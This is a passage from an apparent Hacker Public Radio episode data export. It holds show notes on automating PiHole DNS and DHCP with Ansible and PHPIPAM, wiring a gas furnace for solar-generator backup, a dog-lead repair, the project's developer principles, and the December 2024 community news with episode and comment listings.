                                                            \n And then I changed ISP. My new ISP shipped a router running a\n customized version of OpenWRT [12], and I thought, finally, a good\n router! And then I realised I couldn't do *anything* sensible with\n it. It was so locked down, I couldn't even change the admin\n password without factory resetting it! Ugh. Within a couple of\n weeks my wife was complaining about random intermittent DNS\n requests failing, and I was seeing it too. So, I found on the\n Proxmox Helper Scripts [13] website that someone had put a script\n to setup a PiHole instance... So naturally, as I had two Proxmox\n Servers by this point, I ran two PiHole servers. This lasted a few\n months until I performed a system upgrade to the proxmox cluster\n and it took down both Proxmox cluster members at the same time and\n DNS fell off the network! I revived the Raspberry Pi 2 which now\n sits attached to the router again! Yes!

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Meanwhile, I was now getting more into IoT and I had several Tuya\n IoT devices connected over Wifi, and the 254 network addresses\n available in the /24 sized network [14] to me at home didn't seem\n enough, so I decided to expand my network to a /22, giving me\n enough address space for 1022 devices. Plus, I have kids, who each\n have computers and phones and games devices, my wife and I both\n work from home, so we both have computers from work and our own\n devices too... so I decided, now is the time to plan out my\n network.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I decided to use PHPIPAM [15] having been asked to look at it at\n work, and found it was a good fit for what I wanted to do with it.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n PHPIPAM is really designed for owners of large-scale networks,\n people who allocate chunks of public IP scopes and IPv6 address\n ranges, but it will subdivide smaller network blocks, and so I\n could carve up my network.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I decided to split my /22 into four /24 networks. One was\n dedicated to DHCP addressed items, with one smaller subnet in\n there allocated to the Proxmox hosted PiHole and another to the\n Raspberry Pi hosted PiHole, and both are basically a catch-all for\n anything I've not yet allocated. One was for end-user devices,\n like phones, computers, TVs and Games Consoles separated into\n smaller subnets per-person and one additional subnet for\n room-shared devices like TVs and Games Consoles. One subnet was\n separated into smaller subnets for IoT devices and core network\n things, like mains and network switches, light bulbs, cameras and\n printers. The last /24 subnet was undivided, but was for servers,\n both physical and virtual.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Great, I've now got a lovely network map [IMAGE1], but *ugh* I've\n got to transfer all those DHCP and static IP allocations to the\n PiHoles. And, while I'd been using Gravity Sync [15] to\n synchronize between the two PiHole devices, sometimes it took a\n while for Gravity Sync to sync.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n And over time, I wanted to expose some of those services I was\n running at home, to my family, at home.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n So, I turned to Ansible.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n A few years ago, I'd helped write some Ansible modules which were\n used to interact with a cloud service my employer at the time was\n running, so I had a kind of idea on how Ansible works under the\n surface, the documentation for writing a new set of lookups was\n OK, and ChatGPT helped where I lost my way.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I knew that there was a Terraform [17] Provider [18] for PHPIPAM,\n so there was a working API... and so I knew I could look up data\n in PHPIPAM. I wrote some Ansible lookups [19] to confirm the data\n was accessible from PHPIPAM, and it was! Great, now all I needed\n to do was to drop files into PiHole.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I'd heard Alex [20] from the Self Hosting Podcast [21] talking\n about how he wrote some Ansible to automate his PiHole management\n [22], but it assumed a lot about how your network was setup and\n integrated a lot with other things he did - no complaints there!\n It's his network after all! But so I knew I needed to do 5 things.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n 1. Create a list of static DHCP allocations on both PiHole\n devices.

                                                            \n

                                                            \n 2. Create a list of DNS names to resolve in the internal network\n to addresses via A records

                                                            \n

                                                            \n 3. Create a list of DNS names to resolve to other DNS names via\n CNAME records

                                                            \n

                                                            \n 4. Create a list of DNS wildcards, so anything ending in that name\n would appear in my network.

                                                            \n

                                                            \n 5. If anything changed, restart DNSMasq.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I wrote this code and ran it. Well, ran it and it didn't work, so\n I fixed it and ran it again... and again and again until it did\n work.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I've just added that to my Github today, so feel free to take a\n look [23].

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n You've spent a while listening to this, so what is my \"too long,\n didn't listen\"?

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I have two pihole devices, I run a phpipam service under docker on\n a LXC container on my proxmox server. On the same LXC container I\n have a cron job which triggers the ansible playbook every 5\n minutes to push any updates to PHPIPAM to the pihole hosts.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Every few days I check to see what hosts have turned up in the\n DHCP pools on the PiHole hosts, map those to hosts I want to track\n in the future, and allocate them addresses in PHPIPAM so that\n those hosts will get managed IP addresses after 5 minutes, the\n next time they renew their DHCP addresses...

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Tada!

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n For more over engineered solutions like this, feel free to take a\n look at the content on my blog, or maybe I'll appear again, on\n Hacker... Public... Radio.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Take care, 73.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n [1] PiHole: https://pi-hole.net/

                                                            \n

                                                            \n [2] DNSMasq: https://thekelleys.org.uk/dnsmasq/doc.html

                                                            \n

                                                            \n [3] Ansible: https://ansible.com

                                                            \n

                                                            \n [4] Raspberry Pi: https://www.raspberrypi.com/products/

                                                            \n

                                                            \n [5] Lego style case: https://www.amazon.co.uk/gp/product/B015WVR5BS

                                                            \n

                                                            \n [6] Nebula: https://www.defined.net/

                                                            \n

                                                            \n [7] Tailscale: https://tailscale.com/

                                                            \n

                                                            \n [8] Proxmox: https://www.proxmox.com

                                                            \n

                                                            \n [9] Proxmox post: https://jon.sprig.gs/blog/post/2885

                                                            \n

                                                            \n [10] My blog: https://jon.sprig.gs

                                                            \n

                                                            \n [11] Home Assistant: https://www.home-assistant.io/

                                                            \n

                                                            \n [12] OpenWRT: https://openwrt.org/

                                                            \n

                                                            \n [13] Helper Scripts: https://community-scripts.github.io/ProxmoxVE/

                                                            \n

                                                            \n [14] Network address spreadsheet: https://gist.github.com/JonTheNiceGuy/a847aa4faf878d7d6cee5c069e1d66d6

                                                            \n

                                                            \n [15] PHPIPAM: https://phpipam.net/

                                                            \n

                                                            \n [16] Gravity Sync: https://github.com/vmstan/gravity-sync

                                                            \n

                                                            \n [17] Terraform: https://www.terraform.io/

                                                            \n

                                                            \n [18] PHPIPAM Terraform Provider: https://registry.terraform.io/providers/lord-kyron/phpipam/latest

                                                            \n

                                                            \n [19] Ansible Lookup: https://gist.github.com/JonTheNiceGuy/289a8a2e0233e730f0fbc8f958ec4bc6

                                                            \n

                                                            \n [20] Alex Kretzschmar: https://alex.ktz.me/

                                                            \n

                                                            \n [21] Self Hosted Podcast: https://selfhosted.show/

                                                            \n

                                                            \n [22] Fully Automated DNS and DHCP with PiHole and DNSMasq: https://blog.ktz.me/fully-automated-dns-and-dhcp-with-pihole-and-dnsmasq/

                                                            \n

                                                            \n [23] ansible-pihole: https://github.com/JonTheNiceGuy/ansible-pihole

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n [IMAGE1] https://jon.sprig.gs/blog/wp-content/uploads/2024/12/Screenshot-from-2024-12-20-19-29-22.png
                                                            \n

                                                            \n

                                                            \n \n

                                                            \n","hostid":439,"series":0,"explicit":0,"license":"CC-0","tags":"ansible, pihole, phpipam, system-administration, proxmox","version":0,"downloads":0,"valid":1}, {"id":4282,"date":"2024-12-31","title":"Backup Power for my Gas Furnace","duration":733,"summary":"How I modified the power connection to my forced air gas furnace to allow for backup power use","notes":"

                                                            \n Hello, again. This is Trey.  

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Before I begin, please note: In the show notes, I include links to\n several informative videos, and to specific products which might\n be used for a project like this. I do not endorse, nor\n support any of the products or influencers linked. I do not\n profit from anything on or associated with any of the\n links. They are provided merely for additional information or\n for reference. 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I live in the eastern part of the state of Tennessee in the\n southeast United States. Our summers are fairly hot and humid, but\n our winters are generally mild. Last winter, we experienced an ice\n storm, with temperatures dropping into the single digits\n (Fahrenheit) or below -12 degrees Celsius. This was not a\n problem until tree limbs heavy with ice began to break off and\n fall, on occasion taking power lines with them. As a direct\n result, we lost power at my home. The icy road conditions\n made it difficult for service vehicles to reach impacted areas,\n and also made it impossible for us to leave our home. 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n My house is heated by a natural gas forced air\n furnace. However, the fan which blows hot air throughout the\n house, and the electronics which control everything from telling\n the furnace to turn on to igniting the gas, all require\n electricity. For anyone unfamiliar with how a forced air furnace\n works, I am including a link to a helpful YouTube video by The DIY\n HVAC Guy \n Link\n  

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n So, with the loss of electrical power, came a loss of heat. We\n experienced a full day of being huddled under blankets and\n drinking warm beverages. These I could heat up on my gas\n stove, when I used a match or lighter to ignite the\n burner. Thankfully, the next day our power was restored, and\n our home warmed up again. 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n But that got me thinking, and searching for solutions. I\n needed to provide an alternative electrical power option for my\n gas furnace so that it would continue to work when the electricity\n was interrupted. I found a really interesting video, also by\n The DIY HVAC Guy (\n Link\n ), explaining an option for retrofitting the electrical\n connections to the furnace, but I never got around to doing\n it.  

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n That changed, a couple months ago, when I found a real deal on a\n brand new portable solar generator. It is effectively a large\n lithium iron phosphate (LiFePO4) battery, an inverter, and a\n charging system, all bundled together in an easy to carry\n case. It provides over 1,000 watt hours of power. It can\n be charged using portable solar panels (which I purchased at the\n same time), or supported using external power sources from 12v to\n 48v DC. 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n The retrofit of the of the electrical feed line into my furnace\n was easily accomplished by doing something very similar to what\n was done in the video linked above. I turned off the circuit\n breaker for the furnace in the house's main electrical panel, and\n then located the switch box mounted on the side of my\n furnace. I removed the switch plate cover and tested the\n wires inside using a non-contact voltage tester, which would light\n up and scream at me if there was still any power to any of the\n wires. No screaming. No power. Good. 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Next, I removed the switch from the box, disconnected the\n black power source \"hot\" wire from the switch. This would\n carry 120v AC directly to the switch and allow a user to turn\n the furnace on and off. The wires going into the furnace\n included a black \"hot\" wire, connected to the other side of the\n switch, and a white \"neutral\" wire which was connected using a\n wire nut to the white \"Neutral\" wire from the house wiring. I\n disconnected all of these wires, and also the ground wire from the\n house wiring.  

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I removed the front service panel from the furnace so that I could\n perform the next steps safely. I removed the \"single gang\"\n electrical box (which had housed the on/off switch) from the side\n of the furnace, where it had been attached using a single sheet\n metal screw. The term \"single gang\" describes a box which is\n only wide enough to accommodate a single standard sized switch or\n a single duplex outlet. A \"double gang\" box is wide enough\n for two such devices, and a \"triple gang\" is wide enough for\n three. Use the provided \n link for a more complete description of this naming. 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I chose to replace the single gang box, which only held a switch,\n with a double gang box to accommodate both a switch and a\n duplex outlet. I could have used the existing box and used a\n single gang outlet/switch combination (Like the one at the\n provided \n link ), but I wanted to use a heavier duty switch and\n outlet.  

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I mounted a new double gang box to the side of the furnace using\n multiple sheet metal screws. Then I passed the Romex house\n wiring through a knockout hole in the side of the box and a\n protective wire clamp. I wired the black \"Hot\" wire from the\n house to the brass colored screw on a commercial grade 120v 15A\n duplex outlet. The neutral wire from the house went to the\n silver colored screw on the outlet, and the bare ground wire from\n the house connected to the green ground screw on the\n outlet. This was now connected just like any other outlet in\n the house, and controlled by the breaker in the house's main\n panel. I wrapped this duplex outlet with electrical tape, as\n I like to do any time I am working in a metal box or a box\n containing more than one device. Then I secured the duplex\n outlet to the box with included screws.  

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I knocked out another one of the side holes in the box, and\n installed another wire clamp, through which I passed some heavy\n duty 12ga (About 2mm conductor diameter) 3 conductor flexible\n cable. The black wire from this went to one screw connector\n on the switch, and the black wire from the furnace connected to\n the other screw connector on the switch. I connected the\n white wires (from the flexible cable and from the furnace)\n together using a wire nut, and connected the ground wire from the\n flexible cable to the green screw on the box.  

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n The final installation steps were to connect a quality, 120v 15A\n plug to the other end of the flexible cable. 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Now for the first test. I turned the breaker back on, and\n used an outlet tester to verify the newly installed outlet on the\n side of the furnace was working and wired correctly. I use\n one which displays voltage along with any wiring faults, and which\n also has a button which can be used to test ground fault circuit\n interrupts (GFCI) like the one found at the provided \n link . 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Everything checked out properly, so I plugged the furnace into the\n outlet, using the flexible cord. Nothing happened, so I\n flipped the switch to the \"On Position\". I immediately\n saw blinking lights on the furnace controller board. Next, I\n adjusted the thermostat for heat, and within a minute, the furnace\n had ignited the burners and was blowing hot air. 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Good. All my connections were verified, so I turned off the\n furnace, unplugged it, and installed the faceplate on the\n box. Yes, I know I could have done this before I plugged\n in the furnace. However, with over 40 years of experience\n building, repairing, and modifying electrical and electronic\n devices. I have learned to never put back together more than\n you must for a specific test. Otherwise, you will just need\n to go back and take it apart again when your test\n fails.  

                                                            \n

                                                            \n
                                                            \n

                                                            \n\"A\n

                                                            \n
                                                            \n

                                                            \n

                                                            \n What was next? More testing, of course. I needed to\n figure out how much power the furnace used when generating\n heat. Because of the way the furnace was now wired, it was\n simple to connect an inline power meter between the outlet and the\n furnace plug. I plugged one in and turned everything back on\n again. The measured peak power use was 375 watts. The\n solar generator can easily handle this for a couple hours and I\n can charge it from various sources during gaps in operation. 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n So, I connected the solar generator and... Nothing. The\n furnace would not even complete its self-test\n sequence. Great... Did I break something? I plugged the\n furnace back in directly to the power outlet, and everything\n worked properly. Well, that's a plus, at least. 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n So, I spent the next several hours troubleshooting two different\n blinking light error codes on the furnace controller board. One\n referenced \"Hot & Neutral Reversed\" while the other referenced\n \"Open Ground\". That was odd. Well, I had never actually\n tested the output of this brand new solar generator, so I plugged\n my outlet tester into the solar generator, and it verified \"Open\n Ground\". Time for a technical support call. 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n \n THIS\n is when I learned something important. Apparently,\n this is a common issue with solar generators, and is part of their\n design. To resolve the issue, I need to simply connect a\n bonding plug into any 120v outlet on the generator.  

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n You can purchase a Generator Bonding Plug, also called a\n Ground-Neutral Shunt, and I have included several links as\n reference. ( \n Bonding Plug or \n Ground Neutral Shunt\n  ). I found them selling for anywhere between $10 - $35\n USD. But all they are is a $1 - $2 USD plug with a wire\n connecting the ground terminal to the neutral terminal. So,\n naturally, I built one using a spare plug I had. I connected\n it to the solar generator, and the outlet tester was very\n happy. 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n With fingers crossed I connected the furnace back to the solar\n generator, with the shunt installed. This is very difficult\n to do, by the way, when your fingers are crossed. Everything\n started up properly, and I ran the furnace for 2 hours using just\n the generator. 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Hopefully, I will not need it, but If I do, I have options. 

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I would love to hear your episode about what you do to prepare for\n situations like this. 

                                                            ","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"diy, electrical, home repair","version":0,"downloads":0,"valid":1}, {"id":4283,"date":"2025-01-01","title":"Toley bone repair","duration":358,"summary":"This is a quick episode about how I repaired vintage dog walking accessory.","notes":"

                                                            \n \n \n Background\n \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n This episode covers the repair of a vintage dog walking accessory.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n The word “Toley” - There seems to be multiple spellings and\n also many other meanings that I was unaware of until now! Around\n here in Scotland Toley is a Local term for the act or product of\n defecation.\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n Lugs – A local Scottish word for ears\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n Wikipedia article about a Cable tie\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n Wikipedia article about a Carabiner\n

                                                            \n

                                                            \n

                                                            \n Picture 1 shows the broken dog walking accessory.

                                                            \n\"Picture
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Picture 2 shows the the initial repair of the dog walking\n accessory.

                                                            \n\"Picture\n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Picture 3 shows the failure of the initial repair.

                                                            \n\"Picture\n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I don’t have a picture of the final repair however it’s just\n using a slightly thicker cable tie.

                                                            \n

                                                            \n
                                                            \n

                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Repair, DIY, Outdoors, Walking","version":0,"downloads":0,"valid":1}, {"id":4284,"date":"2025-01-02","title":"HPR Developer Information","duration":963,"summary":"A set of Project Principles for those wishing to contribute code to the HPR Project","notes":"

                                                            \nTaken from \nhttps://repo.anhonesthost.net/HPR/hpr_documentation/src/branch/main/developer_information.md\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nDeveloper Information.

                                                            \n

                                                            \nHacker Public Radio (HPR) is a long term project run by volunteers.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nProject Principles

                                                            \n

                                                            \nThere are a few things you need to be aware of before you decide to contribute to HPR.

                                                            \n

                                                            \nOur prime directive is that \"HPR is dedicated to sharing knowledge\".

                                                            \n

                                                            \nAny software development is done with the goal of supporting the distribution of the podcast media, \nlocally\n so they can be played on as many devices as possible.

                                                            \n

                                                            \nThe priority is to keep the flow of shows coming in and going out, fix any accessibility issue that arise, then work on any other feature requests.

                                                            \n

                                                            \nSome things we can change without discussion but other things we need to get input from the \nHPR Community\n.

                                                            \n

                                                            \nChanges can take a long time, community approval can take several months, while other changes require a lot of work from volunteers who are focused on other priorities.

                                                            \n

                                                            \nWe allow redistribution by releasing all our content under a \nCreative Commons Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)\n. In the same vein all our code is released under \naGPLv3\n, or other \nOSI approved licenses\n .

                                                            \n

                                                            \nWe do not track statistics to the detriment of our prime directive.

                                                            \n

                                                            \nWe make the entire delivery ecosystem redundant using native Internet standards, and the cooperation of community members.

                                                            \n

                                                            \nAll Data is available by default.

                                                            \n

                                                            \nCommunity Members, sponsors, and hosting platforms will change over time.

                                                            \n

                                                            \nWe have a distrust of online platforms, libraries and niche tools (that we do not support ourselves) as they can and have \ndisappeared overnight\n.

                                                            \n

                                                            \nWe are very conservative in our choice of tech. As a rule of thumb, all software choices tend to be technology that was developed years ago, and is likely to be around for years to come.

                                                            \n

                                                            \nWe make our code as simple to understand as possible as our replacement may not have the skill set we do.

                                                            \n

                                                            \nThat said, we move with the times when there is a clear advantage to do so.

                                                            \n

                                                            \nWe run up to date patched stable software.

                                                            \n

                                                            \nWe have a long tradition of supporting and sharing hacker culture. Any identified vulnerability are fixed with credit if requested.

                                                            \n

                                                            \nWe use \nRSS\n as a delivery mechanism, which is by default fault tolerant.

                                                            \n

                                                            \nOur primary domains HackerPublicRadio.com and HackerPublicRadio.org are registered with different providers, and the DNS is served from different locations.

                                                            \n

                                                            \nAll our code is on \nGitTea\n, please clone locally.

                                                            \n

                                                            \n\nOur database\n is updated frequently, please copy locally.

                                                            \n

                                                            \nOur media is served from our \nCommunity Content Delivery Network (CCDN)\n

                                                            \n

                                                            \nBug reports, and patches are welcome from anyone without commitment.

                                                            \n

                                                            \nIf you are contributing new code, or new technology we ask you commit to supporting it for a \nminimum of two years\n. This allows the other Janitors time to learn the new tech and support it when you leave.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nCreate an Account

                                                            \n

                                                            \nIf you're happy with all that, then...

                                                            \n

                                                            \nIn order to contribute you need to \ncreate an account\n, but you \nalso\n need to notify the admins@hpr either via email, mastodon, or matrix that you have created an account. Due to the level of spam accounts we need to approve each one by one.

                                                            \n

                                                            \n
                                                            \n

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HPR Project Principles","version":0,"downloads":0,"valid":1}, {"id":4285,"date":"2025-01-03","title":"What is on My Podcast Player 2024, Part 5","duration":855,"summary":"This is an update on the podcasts Ahuka listens to.","notes":"

                                                            \nI listen to a lot of podcasts and so I am sharing my finds with the community

                                                            \n

                                                            \nLinks

                                                            \n\n

                                                            \n
                                                            \n

                                                            \n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Podcasts","version":0,"downloads":0,"valid":1}, {"id":4286,"date":"2025-01-06","title":"HPR Community News for December 2024","duration":5958,"summary":"HPR Volunteers talk about shows released and comments posted in December 2024","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n Paulj, \n Jon The Nice Guy.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4261Mon2024-12-02HPR Community News for November 2024HPR Volunteers
                                                            4262Tue2024-12-03DIY C02operat0r
                                                            4263Wed2024-12-04An interview with Adam Matthews about the Disco PigeonKen Fallon
                                                            4264Thu2024-12-05Mintcast, high crimes and misdemeanors.Some Guy On The Internet
                                                            4265Fri2024-12-06Drivecasting: arm sleeves, glasses and more.Some Guy On The Internet
                                                            4266Mon2024-12-09What's the weather?Lee
                                                            4267Tue2024-12-10Borderlands Movie ReviewKevie
                                                            4268Wed2024-12-11Book review and an Emacs rabbit-holeenistello
                                                            4269Thu2024-12-12What is on My Podcast Player 2024, Part 2Ahuka
                                                            4270Fri2024-12-13Playing Civilization IV, Part 4Ahuka
                                                            4271Mon2024-12-16Beginners guide to ProxmoxAl
                                                            4272Tue2024-12-17Embed Mastodon Threadshairylarry
                                                            4273Wed2024-12-18Improving videography with basic manual settingsTrixter
                                                            4274Thu2024-12-19The Wreck - I'm alright!Archer72
                                                            4275Fri2024-12-20What is on My Podcast Player 2024, Part 3Ahuka
                                                            4276Mon2024-12-23PWNEDoperat0r
                                                            4277Tue2024-12-24Introduction episode by PaulPaulj
                                                            4278Wed2024-12-25Pi powered Christmas TreeKevie
                                                            4279Thu2024-12-26What is on My Podcast Player 2024, Part 4Ahuka
                                                            4280Fri2024-12-27Isaac Asimov: The FoundationAhuka
                                                            4281Mon2024-12-30My ridiculously complicated DHCP setup at homeJon The Nice Guy
                                                            4282Tue2024-12-31Backup Power for my Gas FurnaceTrey
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 26 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 7 comments on\n4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3531\n(2022-02-14) \"Barrier: Software KVM\"\nby Windigo.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nSolusSpider - Peter Paterson on 2024-12-01:\n\"Fellow user of Barrier, and also InputLeap.\"

                                                              \n
                                                            • hpr4070\n(2024-03-08) \"Civilization III\"\nby Ahuka.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nRed Orm on 2025-01-01:\n\"hpr4070 :: Civilization III\"
                                                              • \n
                                                              • \nComment 2:\nKevin O'Brien on 2025-01-02:\n\"Thank you\"

                                                              \n
                                                            • hpr4258\n(2024-11-27) \"Introduction and History of Using Computers\"\nby SolusSpider.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 5:\nSpartan Minter on 2024-12-02:\n\"Linux Mint \"
                                                              • \n
                                                              • \nComment 6:\nClaudioM on 2024-12-03:\n\"Hey Solusspider! Great First Episode!\"

                                                              \n
                                                            • hpr4260\n(2024-11-29) \"The Golden Age\"\nby Ahuka.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nMoss Bliss on 2025-01-01:\n\"Penguicon\"
                                                              • \n
                                                              • \nComment 2:\nKevin O'Brien on 2025-01-01:\n\"Sorry to hear it\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 19 comments on 10 of this month's shows:

                                                            \n
                                                            • hpr4264\n(2024-12-05) \"Mintcast, high crimes and misdemeanors.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2024-12-06:\n\"Thunderbird\"
                                                              • Comment 2:\nMajid on 2024-12-07:\n\"Mintcast and Thunderbird\"
                                                              • Comment 3:\nDave Morriss on 2024-12-14:\n\"Thunderbird and email management\"

                                                              \n
                                                            • hpr4266\n(2024-12-09) \"What's the weather?\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr4268\n(2024-12-11) \"Book review and an Emacs rabbit-hole\"\nby enistello.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2024-12-15:\n\"Thanks for the book tip\"

                                                              \n
                                                            • hpr4269\n(2024-12-12) \"What is on My Podcast Player 2024, Part 2\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nRandom listener on 2024-12-13:\n\"Request for a bit more info in show notes\"

                                                              \n
                                                            • hpr4272\n(2024-12-17) \"Embed Mastodon Threads\"\nby hairylarry.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2024-11-28:\n\"Wayne Myers ?? Where did I hear that name before ?\"
                                                              • Comment 2:\nHenrik Hemrin on 2024-12-18:\n\"How is the post behaviour on Mastodon reflected on the web site?\"
                                                              • Comment 3:\nReto on 2024-12-25:\n\"Plain text is not\"

                                                              \n
                                                            • hpr4274\n(2024-12-19) \"The Wreck - I'm alright!\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSolusSpider - Peter Paterson on 2024-12-19:\n\"I'm Mark's hospital room stalker!\"
                                                              • Comment 2:\nPaulj on 2024-12-30:\n\"Thanks for Sharing!\"

                                                              \n
                                                            • hpr4276\n(2024-12-23) \"PWNED\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJonTheNiceGuy on 2024-12-28:\n\"Exposed RDP, at least it wasn't VNC (which I did!), and VPN\"

                                                              \n
                                                            • hpr4277\n(2024-12-24) \"Introduction episode by Paul\"\nby Paulj.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSolusSpider - Peter Paterson on 2024-12-24:\n\"Welcome Paul to HPR\"
                                                              • Comment 2:\nTrey on 2024-12-24:\n\"Welcome\"
                                                              • Comment 3:\nPaul on 2024-12-25:\n\"Thanks Peter\"
                                                              • Comment 4:\nPaulj on 2024-12-26:\n\"Thanks Trey!\"

                                                              \n
                                                            • hpr4280\n(2024-12-27) \"Isaac Asimov: The Foundation\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nRed Orm on 2025-01-01:\n\"hpr4280 :: Isaac Asimov: The Foundation\"
                                                              • Comment 2:\nKevin O'Brien on 2025-01-02:\n\"Thank you\"

                                                              \n
                                                            • hpr4281\n(2024-12-30) \"My ridiculously complicated DHCP setup at home\"\nby Jon The Nice Guy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nPaulj on 2024-12-30:\n\"Welcome, and thanks!\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mailing List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2024-December/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            \nThanks to all 59 HPR contributors in 2024!\n

                                                            \n

                                                            \n

                                                            \n

